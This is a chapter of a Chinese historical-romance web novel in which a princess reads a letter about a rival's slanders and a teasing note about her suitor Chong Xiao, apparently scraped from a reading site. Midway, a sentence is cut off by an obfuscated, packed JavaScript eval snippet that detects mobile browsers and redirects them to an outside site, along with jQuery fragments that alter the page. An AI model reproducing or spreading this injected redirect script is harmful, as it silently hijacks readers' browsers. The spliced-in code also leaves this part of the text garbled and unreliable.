默认冷灰
24号文字
方正启体

29. 信件

作者:枕山困本书字数:K更新时间:
    唐昭离蹙着眉,接着读信。


    “我本不该介入你们女郎之间的恩怨,但淳恪此举却实在过分……”


    唐佑宁在信中如是写道:“我昨日从别处得了个消息——那个诬陷我们‘以权谋私,借筹粮之名行敛财之实’的谣言,最初是淳恪在宴会上胡诌的。”


    写到此处,他似是生了怒气,信纸上的字迹渐渐潦草凌乱。


    “她那日还说,我俩乃贱民所生,平日里最是小家子气,又怎会舍得用自己的首饰财物补恤边境?若非如此,你又怎会在这紧要关头突然心虚地躲进山中,不敢见人?”


    “阿离,你说二姐她这讲得是什么话?若是单说我俩便也罢了,为何还要借此侮辱娘亲?那也是她的长辈!若是娘亲还活着,她也得恭敬地唤一声‘贵妃娘娘’!”


    唐昭离丢下信纸,嘴角提起一个薄凉的弧度。


    好你个淳恪。


    虽然这些脏水也是她计策中的一环,即便淳恪没有造谣,唐昭离也打算自己偷偷散布一些,以此煽动民众,但她却不能容忍淳恪在背后搞这些小动作。


    淳恪她怎么敢?


    前世她欺她辱她至此,她瞧见她就泛恶心,今生她怎么还敢继续在她面前放肆?


    爱造谣是吧?一有风吹草动,便迫不及待地跳出来落进下石是吧?


    好啊,那便等着罢!


    她敛眸沉思片刻,倾身从笔架上取下一直羊毫笔,一句吩咐自然而然地脱口而出:“延龄,来为我侍墨。”


    四周很安静。


    唐昭离一怔,这才恍然回想起,屋中的仆从们都被崇霄支走了,便是延龄也不知去了何处。


    她轻轻地叹了口气,正欲自己动手,却有一只骨节分明,修长有力的手从旁边伸出,先她一步拿起了桌案上摆着的宣城松烟墨。


    “是,昭昭殿下。”崇霄笑着回应了她。


    他立在书案的一侧,一边研墨,一边微微弯下腰身,望着唐昭离那张泛着冷意与怒气的俏脸,低声猜测道:“昊王他又惹着你了?”


    “不是他。”


    唐昭离心神一动,突然发问道:“崇三,倘若你族中有这样一位兄长,从小到大,他都莫名其妙地对你抱有敌意,他不与你亲近,但却总是默默地窥视着你。”


    “她什么都要与你攀比,若你有她无,她便要费尽心思地争抢,若她有你无,她便会跑到你面前大肆炫耀,既不顾及你的感受,也不顾及礼数与颜面。”


    “若你遇到了这样的一个人,你会如何?”


    崇霄磨墨的手顿住。


    他认真地思索了一会儿,道:“那得看他想从我这儿得到什么了。”


    “嗯?”


    “若他想要的只是些我不在意的寻常物什,夺了就夺了,”崇霄生疏而细致地继续推着墨条,语气淡而散漫,“不过是一介身外之物,他既想要,给他便是,我懒得与他纠缠。”


    “可若是我珍爱的。”


    他轻轻地抿了抿唇,浓密睫羽遮挡的乌黑瞳仁之中,闪过了一抹尖锐的厉色:“若他亦珍爱非常,呵护备至,甚至能做的比我更好,那我或许会放手,可倘若他只是为了一己私欲,并在利用完将其弃如敝屣……”


    “那即便是他夺去了,即便是相隔千里,万般艰难险阻,我也定要将其夺回来!”


    摁着墨条的指尖不自觉地用力,在砚底留下了一道浓重的墨痕,许久不能晕开散去。


    直到对上唐昭离怔然迷惘的眼神,他才意识到自己的失态。


    崇霄卸了手中的力,他深深地吸了口气,低下头认真研墨,不再言语。


    他也不知方才自己是怎么了,明明只是一个假设,可他说着说着,竟是真的生了怒意。


    就仿佛,他曾经真的被什么人夺去了心头挚爱似的……


    他用力地闭了闭眼,平复了一下内心激荡的情绪,这才重新开口,转开了话题:“可是昊王那边遇到了什么棘手麻烦?昭昭,若有需我之处,你可与我提。”


    “只是遇着了一点小麻烦,”唐昭离摇了摇头,“倒是不难,我已有对策。”


    她与淳恪交恶多年,这么多年斗下来,已然是对彼此知根知底。


    无人比她更知晓淳恪平生最恨什么,最怕什么。


    唐昭离提笔沾墨,很快便将回信写好。


    她见崇霄怔怔地望向一处,目光落寞,似乎还未从方才的情绪之中解脱出来,便将信折起,递给他,温声说道:“我想了想,倒还真有一事需你助我——崇三,你可愿帮我将这封信捎给兄长?”


    “嗯?好啊。”


    崇霄回过神来,他收了信,见唐昭离一副大功告成的模样,便有些疑惑地蹙起眉,盯着桌案上的那两张信纸不语。


    “……怎么会?”他口中喃喃自语。


    “嗯?”唐昭离有些莫名,“怎么了?”


    崇霄一脸困惑地望过来,他唇瓣翕动,支吾了半天,却只憋出了一句话:“昭昭,你的信读完了?”


    “读完了呀,”听他这么一说,唐昭离顿时有些迟疑,“莫非三哥还嘱咐了什么要事?”


    “唔……要事倒是没有……”崇霄却突然有些忸怩,“他同我说,在信中提及了我,昭昭你有看到吗?”


    “嗯?有吗?”


    唐昭离抬手拨弄了一下信纸:“就只有这两页罢?”


    她不确定,遂又拿过丢在一旁的封套,倒着抖了抖:“应当是未有遗漏的吧……咦?”


    封套中掉出了一张叠起的小字条。


    唐昭离拆开字条,却见唐佑宁在其上密密麻麻地写了好多小字,字迹歪七扭八,句式涂涂改改,不知是匆忙为之,还是难以启齿。


    她定睛一看。


    “阿离,你可知崇霄最近是怎么了?自从那日护送你去别院回来后,这厮便吃错了药似地,平日里总是莫名其妙地红着脸,盯着一处发呆痴笑!”


    “这还不是最古怪的,你知他昨日做了什么?他命人取了三箱衣物来我府上,央着我替他挑选一件最衬他的衣物!还嘟囔着什么你俩审美差不多云云……他干什么!难不成想进宫选秀吗?做梦吧他!父皇可没有那等子癖好!”


    “他逼着我必须选一件,不然就赖在府上不走了,我真的是……最后我胡乱地挑了件天青色的他才作罢!”


    天青色?


    唐昭离抬眼,就见安静地候在一旁,身着一袭天青色武袍的崇霄满脸期待地冲她挑了挑眉。


    唐昭离:……懂了。


    她继续低头看信。


    “对了,这张字条也是他逼着我写的,哎!我说崇霄这厮也忒烦了,非要缠着我答应将他写进信里,还特地强调是美言几句,类似于玉树临风,风流倜傥这种!”


    “有什么可写的?且不说你俩都相识多少年了,彼此什么德行一清二楚,就说他日日往别院跑,当本王是瞎么?!他日日都来见你,有什么话不好当面讲,要这样拐弯抹角地让我写信?莫名其妙!”


    “要我说他这纯属吃饱了撑得慌,我们兄妹俩写信,带他作甚,更何况我们谈的是正事,可不是他那些幼稚的过家家酒!”


    “总之我是烦透他了!阿离,你若是得空,就劝劝他吧,再不济,你问问他缘何如此也成啊!他每日这般状若疯癫的样子我是真害怕!不知道的,还以为他中邪了呢!啊,不对,他不会是真的中邪了吧?不行,我明日非得找个庙拜拜……”


    ……这还用问?还能是因为什么?


    唐昭离有些无语。


    他,他那日放肆也就罢了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203807|164555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么还得寸进尺,连续几日都到处张扬呢!


    这让她还怎么有脸回京?


    “如何?”


    崇霄还不知道自己已经被唐佑宁卖了个一干二净,见唐昭离捏着字条久久不语,便无知无觉地凑上来询问:“昊王殿下说了什么?莫非是夸了我?”


    “夸你?”


    唐昭离冷笑一声:“他骂你还来不及呢!”


    她丢下字条,用力地闭了闭目,有些忍无可忍地冲崇霄大喊:“你脑子里到底在想什么啊崇霄!”


    “你可否稍微正经一些?你,你为什么要拿着衣物去找我兄长,还逼他给你美言几句?”


    “这真的很奇怪啊!”


    “嗯?”


    崇霄一愣,继而重重地“嘶”了一声,有些恼怒地一锤桌案。


    “昊王这厮诈我!他明明答应会给我写得英俊潇洒,风流倜傥!他竟然出尔反尔!”


    “你还说?分明是你自己不讲理,与兄长有何干系?”


    唐昭离恼极了,她猛地站起,用力拽着崇霄往外走:“你走!回你的将军府去罢!我这处不欢迎你!”


    “哎……昭昭!你不能只听昊王的一面之词!”


    崇霄连忙为自己辩解:“那是他故意坑害我!那……纵使我有些不对,不该逼他在信中提及我……但是!难道他就一点问题都没有吗!他……哎呦,你别打我……他……哎哎,我知错了,你且饶我……”


    崇霄就这样被唐昭离推出了门外。


    “昭昭……”他还想辩驳,一回头,却见唐昭离已然狠心地合上了门。


    “嘭!”


    一声巨响后,门后传来了唐昭离无情的驱赶:“你赶紧走!”


    “……”


    崇霄无奈地摸了摸鼻子,低头笑笑。


    还真是出师不利啊。


    ……


    唐昭离在屋中来回踱步。


    起初,她只是恼怒崇霄在兄长那儿胡作非为,可渐渐的,她却是缓和了神色,扬起唇角,“扑哧”一下笑出了声。


    抛去那些令人羞恼的事,崇霄这副毫无章法,胡乱使劲儿的笨拙样子,当真是十分好玩!


    她瘫倒在贵妃榻上,捂着脸,自顾自地窃笑许久。


    都赖崇霄!不过这么一小会儿,便将“中了邪”的痴笑毛病传染给了她!


    一阵叩门声突然响起。


    唐昭离以为是崇霄去而复返,她骤然敛了笑,板起脸,正欲大声斥责,却听门外传来了延龄的声音。


    “这门怎么锁死了……殿下!您在屋中吗?”


    唐昭离连忙站起身,快步上前将房门打开。


    延龄站在屋外。


    她沾了一身湿气,瞧着分外狼狈:“殿下,您可有看见崇三公子?”


    “不曾见过呀……”唐昭离故作迷茫。


    “侍卫长说,他看见三公子擅自从东南墙角处翻了进来,可我们方才领着人把那儿翻了个遍,却连个脚印都不曾发现……咦?那是什么?”


    延龄疑惑地抬手,从门上取下一支盛放的桃花。


    “这儿怎么会有花?”


    唐昭离大惊。


    她急忙从延龄手中夺过桃花,反手背在了身后:“没什么,这是我之前折的!不小心落在了门上!”


    嗯?延龄总觉得哪里不对。


    那只桃花灼灼艳艳,很是鲜妍,不像是放了几天的样子,更何况,上面还沾有雨珠……


    唉,不过既然殿下说是,那便是罢。


    “殿下,可还需要派人去寻三公子?”


    “不用了。”


    唐昭离眨了眨眼,轻轻摩挲着手中的花枝,心情甚好。


    “让侍卫们撤下罢,我与那厮不熟,才懒得管他去哪!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)